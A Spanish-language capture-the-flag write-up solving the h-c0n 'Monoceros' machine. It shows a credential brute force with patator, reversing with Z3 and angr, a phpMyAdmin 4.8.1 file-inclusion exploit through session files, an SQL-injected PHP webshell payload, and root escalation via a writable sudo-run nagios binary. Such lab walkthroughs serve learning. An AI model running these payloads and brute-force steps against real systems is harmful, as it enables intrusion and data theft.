Durante la semana pasada se ha jugado el CTF de la h-c0n el cual ha diseñado ihacklabs.
Durante estos días subiremos una serie de posts resolviendo los retos.
Solo queda agradecer a iHacklabs y Hackplayers por organizarlo, os recomiendo que participareis el año que viene!
Monoceros – Acceso Básico
Como siempre, lo primero sera un escaneo de puertos con nmap:
nmap -sC -sV 10.14.0.151
Como veis, el servidor está ejecutando un SSH y un HTTP.
Vamos a echarle un ojo a la web:
El index es el por defecto de Apache/Ubuntu.
Vamos a buscar ficheros/directorios ocultos, para esto usaremos dirsearch
./dirsearch.py -u http://10.14.0.151 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 -e php
Tras la ejecución de este comando se encuentra /nagios:
Nos pide credenciales, podemos usar patator para tratar de encontrarlas:
echo 'nagiosadmin admin root adm ROOT ADMIN' > user.txt cp /usr/share/wordlists/metasploit/unix_passwords.txt pass.txt patator http_fuzz url=http://10.14.0.151/nagios user_pass=FILE0:FILE1 0=user.txt 1=pass.txt -x ignore:code=401
nagios:12345678
Con estas credenciales podremos acceder por SSH al servidor.
Monoceros – Reversing
En /home/ihl/reversing nos encontramos el reto de reversing.
Vamos a descargarnos el binario:
#En la máquina: nc -w 10.14.0.235 1234 < checknumbers #En nuestra máquina: nc -lvp 1234 > checknumbers
Método 1
Vamos abrirlo con IDA PRO que nos permite mostrar el pseudo-code:
En la función Main vemos que se ejecutan 19 funciones a las que se le pasa una cadena que nos pide previamente con scanf.
En estas funciones se ejecutan una serie de ecuaciones en función de la cadena introducida (los caracteres serán las incógnitas), si las igualdades no se satisfacen, el programa finaliza.
Por ejemplo, siendo a1 la cadena:
a1[10] + a1[17] + a1[11] + a1[12] * a1[19] == 6134
Siendo a1[0] == v0 , a1[1] == v1,… Ecuaciones:
v10 + v17 + v11 + v12 * v19 == 6134 v13 * v2 - v20 + v13 == 10859 v2 + v12 - v9 * v4 - v11 == -11625 v11 + v8 * v19 == 5663 v1 + v8 + v19 - v0 == 170 v10 * v11 + v11 + v18 * v7 == 17982 v15 + v15 * v10 + v1 + v10 == 12867 v15 * v9 - v4 * v20 - v18 == 3770 v9 - v13 - v6== -127 v19 - v16 * v13== -11505 v11 - v0 - v11 * v17 ==-5097 v17 * v14 - v14 + v3== 5141 v16 - v19 - v20 + v18 == 53 v3 + v14 + v11 == 310 v20 + v7 * v9 - v3 == 11012 v12 * v12 + v20 - v10 - v20 == 13109 v7 - v5 + v15 * v7 - v7==12201 v19 * v8 + v9 + v5 == 5767 v20 * v20 - v13 == 2918 v20 * v3 == 5555
Ahora tenemos que resolver este sistema de ecuaciones, para esto usaremos Z3 Solver:
#!/usr/bin/python3 from z3 import * s = Solver() v0,v1,v2,v3,v4,v5,v6,v7,v8,v9,v10,v11,v12,v13,v14,v15,v16,v17,v18,v19,v20=z3.Ints('v0 v1 v2 v3 v4 v5 v6 v7 v8 v9 v10 v11 v12 v13 v14 v15 v16 v17 v18 v19 v20') s.add(v10 + v17 + v11 + v12 * v19 == 6134) s.add(v13 * v2 - v20 + v13 == 10859) s.add(v2 + v12 - v9 * v4 - v11 == -11625) s.add(v11 + v8 * v19 == 5663) s.add(v1 + v8 + v19 - v0 == 170) s.add(v10 * v11 + v11 + v18 * v7 == 17982) s.add(v15 + v15 * v10 + v1 + v10 == 12867) s.add(v15 * v9 - v4 * v20 - v18 == 3770) s.add(v9 - v13 - v6== -127) s.add(v19 - v16 * v13== -11505) s.add(v11 - v0 - v11 * v17 ==-5097 ) s.add(v17 * v14 - v14 + v3== 5141) s.add(v16 - v19 - v20 + v18 == 53) s.add(v3 + v14 + v11 == 310) s.add(v20 + v7 * v9 - v3 == 11012) s.add(v12 * v12 + v20 - v10 - v20 == 13109) s.add(v7 - v5 + v15 * v7 - v7==12201) s.add(v19 * v8 + v9 + v5 == 5767) s.add(v20 * v20 - v13 == 2918) s.add(v20 * v3 == 5555) if s.check() == sat: m = s.model() for i in range(0,21): obj = globals()['v%d' % i] c = m[obj].as_long() print('%c' % c,end='')
Método 2
Otra posible manera de obtener la flag es utilizar angr.
Básicamente debemos indicar la dirección del ejecutable a la que queremos llegar, en nuestro caso es el puts(“Enhorabuena….”)
El ejecutable está compilado con PIE así gdb,ida,… no nos mostrarán la dirección real de la instrucción:
Probemos a cargar el binario con angr:
Como veis, nos dice que como está compilado con PIE debemos sumarle 0x400000
El script quedaría así:
#!/usr/bin/python3 import angr import sys path_to_binary = "checknumbers" project = angr.Project(path_to_binary) initial_state = project.factory.entry_state() simulation = project.factory.simgr(initial_state) simulation.explore(find=0x400000 + 0x001a61) if simulation.found: solution_state = simulation.found[0] print ('flag : ' + solution_state.posix.dumps(sys.stdin.fileno()).decode('utf-8')) else: raise Exception('Could not find the solution')
El flag (iseeyourmathskill1337) es la contraseña del usuario juan desde el cual podremos escalar a root.
Monoceros – Web
En /var/www/html/ nos encontramos el reto Web:
Nos encontramos un PhpMyAdmin 4.8.1 y que por tanto es vulnerable: https://www.vulnspy.com/phpmyadmin-4.8.1/
Una de las dificultades será encontrar la ruta donde se guardan los ficheros de session, que tras varias pruebas encontramos que se guardan en /tmp.
/index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_11njnj4253qq93vjm9q93nvc7p2lq82k
Ahora vamos a intentar crear un fichero PHP que nos permita ejecutar comandos:
select '<?php system($_GET['cmd']; ?>'
La siguiente dificultad del reto es que no permite las funciones system(), exec(),…
Lo que podremos hacer es subirnos una shell reversa que no use ninguna de estas funciones restringidas o utilizar funciones de php que nos permitan listar los ficheros del sistema y ver su contenido. Para no tener que abrir un puerto decidí ir por el otro camino:
<?php $fich=scandir("/");print_r($fich); ?>
Tras la ejecución de estos comandos, vemos que hay un fichero llamado flag.php, vamos a leerlo:
<?php echo file_get_contents("/flag.php"); ?>
Flag: $flag="flag{CVE-2018-12613_session_php_tricky}";
Monoceros – Acceso Admin
Una vez se completa el reto de Reversing podemos acceder al usuario Juan. Veamos si podemos ejecutar algún comando como root:
Como veis podemos ejecutar el fichero etc/init.d/nagios como root, mediante este fichero se ejecuta el binario /usr/local/nagios/bin/nagios. Como tenemos permiso de escritura sobre /usr/local/nagios/bin/nagios podemos hacer que ejecute una shell reversa como Root!
sudo /etc/init.d/nagios configtest
Deja una respuesta